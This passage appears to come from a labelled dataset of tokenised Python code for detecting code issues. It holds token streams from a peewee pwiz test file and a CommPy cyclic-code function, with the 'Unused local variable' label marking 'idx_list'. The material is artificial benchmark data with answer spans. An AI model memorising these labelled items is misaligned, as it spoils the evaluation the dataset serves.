", " ", " ", "name", " ", "=", " ", "Char", "Field", "(", "unique", "=", "Tru", "e", ")", "\\", "10", ";", " ", " ", " ", " ", "parent", " ", "=", " ", "Fore", "ign", "Key", "Field", "(", "db", "\\u", "column", "='", "parent", "\\u", "id", "',", " ", "null", "=", "Tru", "e", ",", " ", "rel", "\\u", "model", "='", "self", "',", " ", "to", "\\u", "field", "='", "id", "')", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "class", " ", "Meta", ":", "\\", "10", ";", " ", " ", " ", " ", "db", "\\u", "table", " ", "=", " ", "'", "category", "'", "\\", "10", ";", "\\", "10", ";", "class", " ", "User", "(", "Base", "Model", "):", "\\", "10", ";", " ", " ", " ", " ", "id", " ", "=", " ", "Integer", "Field", "()", "\\", "10", ";", " ", " ", " ", " ", "user", "name", " ", "=", " ", "Char", "Field", "(", "primary", "\\u", "key", "=", "Tru", "e", ")", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "class", " ", "Meta", ":", "\\", "10", ";", " ", " ", " ", " ", "db", "\\u", "table", " ", "=", " ", "'", "user", "'", "\\", "10", ";", "\\", "10", ";", "class", " ", "Not", "e", "(", "Base", "Model", "):", "\\", "10", ";", " ", " ", " ", " ", "data", " ", "=", " ", "Integer", "Field", "()", "\\", "10", ";", " ", " ", " ", " ", "misc", " ", "=", " ", "Integer", "Field", "()", "\\", "10", ";", " ", " ", " ", " ", "text", " ", "=", " ", "Text", "Field", "(", "index", "=", "Tru", "e", ")", "\\", "10", ";", " ", " ", " ", " ", "user", " ", "=", " ", "Fore", "ign", "Key", "Field", "(", "db", "\\u", "column", "='", "user", "\\u", "id", "',", " ", "rel", "\\u", "model", "=", "User", ",", " ", "to", "\\u", "field", "='", "user", "name", "')", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "class", " ", "Meta", ":", "\\", "10", ";", " ", " ", " ", " ", "db", "\\u", "table", " ", "=", " ", "'", "note", "'", "\\", "10", ";", " ", " ", " ", " ", "indexe", "s", " ", "=", " ", "(", "\\", "10", ";", " ", " ", " ", " ", "((", "'", "user", "',", " ", "'", "data", "',", " ", "'", "misc", "')", ",", " ", "Fal", "se", "),", "\\", "10", ";", " ", " ", " ", " ", "((", "'", "user", "',", " ", "'", "text", "')", ",", " ", "Tru", "e", "),", "\\", "10", ";", " ", " ", " ", " ", ")", "\\", "10", ";\"\"\"_", "._", "strip_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "EXPECT", "ED", "\\u", "ORDE", "RED_", "=_", "\"\"\"", "\\", "10", ";", "from", " ", "peewee", " ", "import", " ", "*", "\\", "10", ";", "\\", "10", ";", "databa", "se", " ", "=", " ", "Sqlite", "Databa", "se", "('", "/", "tmp", "/", "peewee", "\\u", "test", ".", "db", "',", " ", "**", "{})", "\\", "10", ";", "\\", "10", ";", "class", " ", "Un", "know", "n", "Field", "(", "object", "):", "\\", "10", ";", " ", " ", " ", " ", "pass", "\\", "10", ";", "\\", "10", ";", "class", " ", "Base", "Model", "(", "Model", "):", "\\", "10", ";", " ", " ", " ", " ", "class", " ", "Meta", ":", "\\", "10", ";", " ", " ", " ", " ", "databa", "se", " ", "=", " ", "databa", "se", "\\", "10", ";", "\\", "10", ";", "class", " ", "User", "(", "Base", "Model", "):", "\\", "10", ";", " ", " ", " ", " ", "user", "name", " ", "=", " ", "Char", "Field", "(", "primary", "\\u", "key", "=", "Tru", "e", ")", "\\", "10", ";", " ", " ", " ", " ", "id", " ", "=", " ", "Integer", "Field", "()", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "class", " ", "Meta", ":", "\\", "10", ";", " ", " ", " ", " ", "db", "\\u", "table", " ", "=", " ", "'", "user", "'", "\\", "10", ";", "\\", "10", ";", "class", " ", "Not", "e", "(", "Base", "Model", "):", "\\", "10", ";", " ", " ", " ", " ", "user", " ", "=", " ", "Fore", "ign", "Key", "Field", "(", "db", "\\u", "column", "='", "user", "\\u", "id", "',", " ", "rel", "\\u", "model", "=", "User", ",", " ", "to", "\\u", "field", "='", "user", "name", "')", "\\", "10", ";", " ", " ", " ", " ", "text", " ", "=", " ", "Text", "Field", "(", "index", "=", "Tru", "e", ")", "\\", "10", ";", " ", " ", " ", " ", "data", " ", "=", " ", "Integer", "Field", "()", "\\", "10", ";", " ", " ", " ", " ", "misc", " ", "=", " ", "Integer", "Field", "()", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "class", " ", "Meta", ":", "\\", "10", ";", " ", " ", " ", " ", "db", "\\u", "table", " ", "=", " ", "'", "note", "'", "\\", "10", ";", " ", " ", " ", " ", "indexe", "s", " ", "=", " ", "(", "\\", "10", ";", " ", " ", " ", " ", "((", "'", "user", "',", " ", "'", "data", "',", " ", "'", "misc", "')", ",", " ", "Fal", "se", "),", "\\", "10", ";", " ", " ", " ", " ", "((", "'", "user", "',", " ", "'", "text", "')", ",", " ", "Tru", "e", "),", "\\", "10", ";", " ", " ", " ", " ", ")", "\\", "10", ";\"\"\"_", "._", "strip_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Base", "Model_", "(_", "Model_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "class_", "Meta_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "database_", "=_", "db_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "User_", "(_", "Base", "Model_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "username_", "=_", "Char", "Field_", "(_", "primary", "\\u", "key_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "id_", "=_", "Integer", "Field_", "(_", "default_", "=_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Note_", "(_", "Base", "Model_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "user_", "=_", "Fore", "ign", "Key", "Field_", "(_", "User_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "text_", "=_", "Text", "Field_", "(_", "index_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "=_", "Integer", "Field_", "(_", "default_", "=_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "misc_", "=_", "Integer", "Field_", "(_", "default_", "=_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Meta_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "indexes_", "=_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "(_", "'", "user", "'_", ",_", "'", "text", "'_", ")_", ",_", "True_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "(_", "'", "user", "'_", ",_", "'", "data", "'_", ",_", "'", "misc", "'_", ")_", ",_", "False_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Category_", "(_", "Base", "Model_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "name_", "=_", "Char", "Field_", "(_", "unique_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parent_", "=_", "Fore", "ign", "Key", "Field_", "(_", "'", "self", "'_", ",_", "null_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "captur", "e\\u", "output_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "captur", "e\\u", "output_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "enter\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "stdout_", "=_", "sys_", "._", "stdout_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "stdout_", "=_", "self_", "._", "\\u", "buffer_", "=_", "String", "IO_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "self_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "captur", "e\\u", "output_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "exit\\u\\u_", "(_", "self_", ",_", "*_", "args_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "data_", "=_", "self_", "._", "\\u", "buffer_", "._", "getvalue_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "stdout_", "=_", "self_", "._", "\\u", "stdout_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Base", "Pw", "iz", "Test", "Case_", "(_", "Pe", "ew", "ee", "Test", "Case_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "models_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Base", "Pw", "iz", "Test", "Case_", "(_", "Pe", "ew", "ee", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "set", "Up_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "super_", "(_", "Base", "Pw", "iz", "Test", "Case_", ",_", "self_", ")_", "._", "set", "Up_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "os_", "._", "path_", "._", "exists_", "(_", "db_", "._", "database_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "os_", "._", "unlink_", "(_", "db_", "._", "database_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "db_", "._", "connect_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "db_", "._", "create", "\\u", "tables_", "(_", "self_", "._", "models_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "introspect", "or_", "=_", "Intro", "spect", "or_", "._", "from", "\\u", "database_", "(_", "db_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Base", "Pw", "iz", "Test", "Case_", "(_", "Pe", "ew", "ee", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "tear", "Down_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "super_", "(_", "Base", "Pw", "iz", "Test", "Case_", ",_", "self_", ")_", "._", "tear", "Down_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "db_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Test", "Pw", "iz_", "(_", "Base", "Pw", "iz", "Test", "Case_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "models_", "=_", "[_", "User_", ",_", "Note_", ",_", "Category_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Test", "Pw", "iz_", "(_", "Base", "Pw", "iz", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "test\\u", "print", "\\u", "models_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "with_", "captur", "e\\u", "output_", "(_", ")_", "as_", "output_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print", "\\u", "models_", "(_", "self_", "._", "introspect", "or_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "output_", "._", "data_", "._", "strip_", "(_", ")_", ",_", "EXPECT", "ED_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Pw", "iz_", "(_", "Base", "Pw", "iz", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "print", "\\u", "header_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cmdline_", "=_", "'-", "i", " ", "-", "e", " ", "sql", "ite", " ", "%", "s", "'_", "%_", "db_", "._", "database_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "with_", "captur", "e\\u", "output_", "(_", ")_", "as_", "output_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "with_", "mock_", "._", "patch_", "(_", "'", "pw", "iz", ".", "datetime", ".", "datetime", "'_", ")_", "as_", "mock", "\\u", "datetime_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "now_", "=_", "mock", "\\u", "datetime_", "._", "now_", "._", "return", "\\u", "value_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "now_", "._", "strftime_", "._", "return", "\\u", "value_", "=_", "'", "Fe", "bru", "ary", " ", "03", ",", " ", "201", "5", " ", "15", ":", "30", "PM", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print", "\\u", "header_", "(_", "cmdline_", ",_", "self_", "._", "introspect", "or_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "output_", "._", "data_", "._", "strip_", "(_", ")_", ",_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "'#", " ", "Code", " ", "generat", "ed", " ", "by", ":\\\\", "n", "'_", "\\u\\u\\uNL\\u\\u\\u_", "'#", " ", "python", " ", "-", "m", " ", "pw", "iz", " ", "%", "s", "\\\\", "n", "'_", "\\u\\u\\uNL\\u\\u\\u_", "'#", " ", "Date", ":", " ", "Fe", "bru", "ary", " ", "03", ",", " ", "201", "5", " ", "15", ":", "30", "PM", "\\\\", "n", "'_", "\\u\\u\\uNL\\u\\u\\u_", "'#", " ", "Databa", "se", ":", " ", "%", "s", "\\\\", "n", "'_", "\\u\\u\\uNL\\u\\u\\u_", "'#", " ", "Pe", "ew", "ee", " ", "version", ":", " ", "%", "s", "'_", ")_", "%_", "(_", "cmdline_", ",_", "db_", "._", "database_", ",_", "peewee", "\\u", "version_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "skip", "\\u", "if_", "(_", "lambda_", ":_", "sys_", "._", "version", "\\u", "info_", "[_", ":_", "2_", "]_", "<_", "(_", "2_", ",_", "7_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "class_", "Test", "Pw", "iz", "Order", "ed_", "(_", "Base", "Pw", "iz", "Test", "Case_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "models_", "=_", "[_", "User_", ",_", "Note_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Test", "Pw", "iz", "Order", "ed_", "(_", "Base", "Pw", "iz", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "test\\u", "order", "ed", "\\u", "columns_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "with_", "captur", "e\\u", "output_", "(_", ")_", "as_", "output_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print", "\\u", "models_", "(_", "self_", "._", "introspect", "or_", ",_", "preserve", "\\u", "order_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "output_", "._", "data_", "._", "strip_", "(_", ")_", ",_", "EXPECT", "ED", "\\u", "ORDE", "RED_", ")_" ]
[ 4, 4, 4, 4, 4, 2, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused local variable
veeresht/CommPy/commpy/channelcoding/algcode.py
[ { "content": "def cyclic_code_genpoly(n, k):\n \"\"\"\n Generate all possible generator polynomials for a (n, k)-cyclic code.\n\n Parameters\n ----------\n n : int\n Code blocklength of the cyclic code.\n\n k : int\n Information blocklength of the cyclic code.\n\n Returns\n -------\n poly_list : 1D ndarray of ints\n A list of generator polynomials (represented as integers) for the (n, k)-cyclic code.\n\n \"\"\"\n\n\n if n%2 == 0:\n raise ValueError, \"n cannot be an even number\"\n\n for m in arange(1, 18):\n if (2**m-1)%n == 0:\n break\n\n x_gf = GF(arange(1, 2**m), m)\n coset_fields = x_gf.cosets()\n\n coset_leaders = array([])\n minpol_degrees = array([])\n for field in coset_fields:\n coset_leaders = concatenate((coset_leaders, array([field.elements[0]])))\n minpol_degrees = concatenate((minpol_degrees, array([len(field.elements)])))\n\n y_gf = GF(coset_leaders, m)\n minpol_list = y_gf.minpolys()\n idx_list = arange(1, len(minpol_list))\n poly_list = array([])\n\n for i in xrange(1, 2**len(minpol_list)):\n i_array = dec2bitarray(i, len(minpol_list))\n subset_array = minpol_degrees[i_array == 1]\n if int(subset_array.sum()) == (n-k):\n poly_set = minpol_list[i_array == 1]\n gpoly = 1\n for poly in poly_set:\n gpoly_array = dec2bitarray(gpoly, 2**m)\n poly_array = dec2bitarray(poly, 2**m)\n gpoly = bitarray2dec(convolve(gpoly_array, poly_array) % 2)\n poly_list = concatenate((poly_list, array([gpoly])))\n\n return poly_list.astype(int)", "metadata": "root.cyclic_code_genpoly", "header": "['module', '___EOS___']", "index": 13 } ]
[ { "span": "idx_list ", "start_line": 51, "start_column": 4, "end_line": 51, "end_column": 12 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "cyclic", "\\u", "code", "\\u", "gen", "poly_", "(_", "n_", ",_", "k_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Generate", " ", "all", " ", "possib", "le", " ", "generat", "or", " ", "polynomial", "s", " ", "for", " ", "a", " ", "(", "n", ",", " ", "k", ")-", "cyclic", " ", "code", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Parameter", "s", "\\", "10", ";", " ", " ", " ", " ", "----------", "\\", "10", ";", " ", " ", " ", " ", "n", " ", ":", " ", "int", "\\", "10", ";", " ", " ", " ", " ", "Code", " ", "block", "length", " ", "of", " ", "the", " ", "cyclic", " ", "code", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "k", " ", ":", " ", "int", "\\", "10", ";", " ", " ", " ", " ", "Information", " ", "block", "length", " ", "of", " ", "the", " ", "cyclic", " ", "code", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", "\\", "10", ";", " ", " ", " ", " ", "-------", "\\", "10", ";", " ", " ", " ", " ", "poly", "\\u", "list", " ", ":", " ", "1", "D", " ", "ndar", "ray", " ", "of", " ", "ints", "\\", "10", ";", " ", " ", " ", " ", "A", " ", "list", " ", "of", " ", "generat", "or", " ", "polynomial", "s", " ", "(", "represent", "ed", " ", "as", " ", "integ", "ers", ")", " ", "for", " ", "the", " ", "(", "n", ",", " ", "k", ")-", "cyclic", " ", "code", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "n_", "%_", "2_", "==_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Value", "Error_", ",_", "\"", "n", " ", "cann", "ot", " ", "be", " ", "an", " ", "even", " ", "number", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "m_", "in_", "arange_", "(_", "1_", ",_", "18_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "(_", "2_", "**_", "m_", "-_", "1_", ")_", "%_", "n_", "==_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "x", "\\u", "gf_", "=_", "GF", "_", "(_", "arange_", "(_", "1_", ",_", "2_", "**_", "m_", ")_", ",_", "m_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cos", "et", "\\u", "fields_", "=_", "x", "\\u", "gf_", "._", "cos", "ets_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "cos", "et", "\\u", "leader", "s_", "=_", "array_", "(_", "[_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "minp", "ol", "\\u", "degrees_", "=_", "array_", "(_", "[_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "field_", "in_", "cos", "et", "\\u", "fields_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cos", "et", "\\u", "leader", "s_", "=_", "concatenate_", "(_", "(_", "cos", "et", "\\u", "leader", "s_", ",_", "array_", "(_", "[_", "field_", "._", "elements_", "[_", "0_", "]_", "]_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "minp", "ol", "\\u", "degrees_", "=_", "concatenate_", "(_", "(_", "minp", "ol", "\\u", "degrees_", ",_", "array_", "(_", "[_", "len_", "(_", "field_", "._", "elements_", ")_", "]_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "y", "\\u", "gf_", "=_", "GF", "_", "(_", "cos", "et", "\\u", "leader", "s_", ",_", "m_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "minp", "ol", "\\u", "list_", "=_", "y", "\\u", "gf_", "._", "minp", "oly", "s_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "idx", "\\u", "list_", "=_", "arange_", "(_", "1_", ",_", "len_", "(_", "minp", "ol", "\\u", "list_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "poly", "\\u", "list_", "=_", "array_", "(_", "[_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "i_", "in_", "xrange_", "(_", "1_", ",_", "2_", "**_", "len_", "(_", "minp", "ol", "\\u", "list_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "i", "\\u", "array_", "=_", "dec", "2b", "ita", "rray_", "(_", "i_", ",_", "len_", "(_", "minp", "ol", "\\u", "list_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "subse", "t", "\\u", "array_", "=_", "minp", "ol", "\\u", "degrees_", "[_", "i", "\\u", "array_", "==_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "int_", "(_", "subse", "t", "\\u", "array_", "._", "sum_", "(_", ")_", ")_", "==_", "(_", "n_", "-_", "k_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "poly", "\\u", "set_", "=_", "minp", "ol", "\\u", "list_", "[_", "i", "\\u", "array_", "==_", "1_", "]_", 